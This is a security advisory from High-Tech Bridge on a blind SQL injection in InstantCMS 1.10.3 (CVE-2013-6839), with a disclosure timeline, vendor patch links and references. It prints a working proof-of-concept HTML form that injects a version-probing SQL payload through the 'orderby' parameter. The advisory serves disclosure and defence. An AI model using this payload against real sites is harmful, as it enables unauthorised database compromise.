Total Tests:

SQL Injection in InstantCMS

Advisory ID:HTB23185
Product:InstantCMS
Vendor:InstantSoft
Vulnerable Versions:1.10.3 and probably prior
Tested Version:1.10.3
Advisory Publication:November 20, 2013 [without technical details]
Vendor Notification:November 20, 2013
Vendor Fix:November 21, 2013
Public Disclosure:December 11, 2013
Latest Update:November 21, 2013
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2013-6839
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered blind SQL injection vulnerability in InstantCMS, which can be exploited to perform SQL Injection attacks, alter SQL requests and compromise vulnerable application.

1) SQL Injection in InstantCMS: CVE-2013-6839
The vulnerability exists due to insufficient filtration of "orderby" HTTP POST parameter passed to "/catalog/[id]" URL. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.
Simple exploit code below uses blind SQL injection exploitation technique, and will display different order of records on the page if MySQL version is 5.*:
<form action="http://[host]/catalog/2" method="post" name="main">
<input type="hidden" name="orderby" value="(-pubdate*(substring(version(),1,1)=5))">
<input type="hidden" name="orderto" value="asc">
<input type="submit" id="btn">
</form>

How to Detect SQL Injection Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Apply patch for InstantCMS 1.10.3:
http://www.instantcms.ru/download/patch/security_update_for_iCMS_1.10.3_21-11-2013.zip

InstantCMS 1.10.3 downloaded after 21/11/2013 is patched [without version/release modification] and is not vulnerable.

More Information:
http://www.instantcms.ru/novosti/security-update-1-10-3.html
http://trac.instantcms.ru/changeset/1376


References:
[1] High-Tech Bridge Advisory HTB23185 - https://www.immuniweb.com/advisory/HTB23185 - SQL Injection in InstantCMS.
[2] InstantCMS - http://www.instantcms.ru/ - InstantCMS is a free open-source system for managing Internet communities and building social networking website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential